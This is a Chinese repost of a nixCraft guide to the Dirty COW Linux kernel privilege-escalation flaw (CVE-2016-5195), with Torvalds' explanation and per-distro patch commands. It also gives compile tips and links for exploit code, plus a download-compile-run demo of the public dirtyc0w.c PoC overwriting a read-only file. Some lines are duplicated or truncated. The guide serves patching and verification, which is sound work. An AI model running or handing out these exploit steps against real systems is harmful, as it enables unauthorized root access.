注意,编译漏洞利用程序时:
gcc -lpthread dirtyc0w.c -o dirtyc0w
在Ubuntu 15.10下实际测试,需要改为:
gcc -pthread dirtyc0w.c -o dirtyc0w
或
gcc dirtyc0w.c -o dirtyc0w
-lpthread
才能正常编译。
其他漏洞利用代码:
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
http://www.tuicool.com/articles/Rjiy2ma
时间 2016-10-21 16:21:45 nixCraft
原文 http://www.cyberciti.biz/faq/dirtycow-linux-cve-2016-5195-kernel-local-privilege-escalation-vulnerability-fix/
主题 Linux内核
A very serious security problem has been found in the Linux kernel. A 0-day local privilege escalation vulnerability has existed for eleven years since 2005. This bug affects all sort of of Android or Linux kernel to escalate privileges. Any user can become root in less than 5 seconds. The bug has existed since Linux kernel version 2.6.22+. How do I fix this problem?
This bug is named asDirty COW
(CVE-2016-5195) is a privilege escalation vulnerability in the Linux Kernel. Exploitation of this bug does not leave any trace of anything abnormal happening to the logs. So you can not detect if someone has exploited this against your server.
From the project :
A race condition was found in the way the Linux kernel’s memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings. An unprivileged local user could use this flaw to gain write access to otherwise read-only memory mappings and thus increase their privileges on the system.
A nasty bug for sure. Any local users can write to any file they can read, and present since at least Linux kernel version 2.6.22.Linus Torvalds explained :
This is an ancient bug that was actually attempted to be fixed once (badly) by me eleven years ago in commit 4ceb5db9757a (“Fix get_user_pages() race for write access”) but that was then undone due to problems on s390 by commit f33ea7f404e5 (“fix get_user_pages bug”).
In the meantime, the s390 situation has long been fixed, and we can now fix it by checking the pte_dirty() bit properly (and do it better). The s390 dirty bit was implemented in abf09bed3cce (“s390/mm: implement software dirty bits”) which made it into v3.9. Earlier kernels will have to look at the page state itself.
Also, the VM has become more scalable, and what used a purely theoretical race back then has become easier to trigger.
To fix it, we introduce a new internal FOLL_COW flag to mark the “yes, we already did a COW” rather than play racy games with FOLL_WRITE that is very fundamental, and then use the pte dirty flag to validate that the FOLL_COW flag is still valid.
Type the commands as per your Linux distro. You need to reboot the box . Before you apply patch, note down your current kernel version:
$ uname -a
$ uname -mrs
Sample outputs:
Linux 3.13.0-95-generic x86_64
3.13.0-95-generic x86_64
$ sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade
Reboot the server:
$ sudo reboot
Related: Ubuntu Linux users can hotfix this Linux kernel bug without rebooting the server .
$ sudo yum update
$ sudo reboot
$ sudo up2date -u
$ sudo reboot
To apply all needed patches to the system type:
# zypper patch
# reboot
# reboot
You need to make sure your version number has changed:
$ uname -a
$ uname -r
$ uname -mrs
For RHEL/CentOS Linux, use the following script:
$ wget https://access.redhat.com/sites/default/files/rh-cve-2016-5195_1.sh
$ bash rh-cve-2016-5195_1.sh
s://access.redhat.com/sites/default/files/rh-cve-2016-5195_1.sh
$ bash rh-cve-2016-5195_1.sh
Grab the PoC:
$ wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
Run it as follows. First be root:
$ sudo -s
# echo this is not a test > foo
# echo this is not a test > foo
Run it as normal user:
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
References:
Share this tutorial on:
分享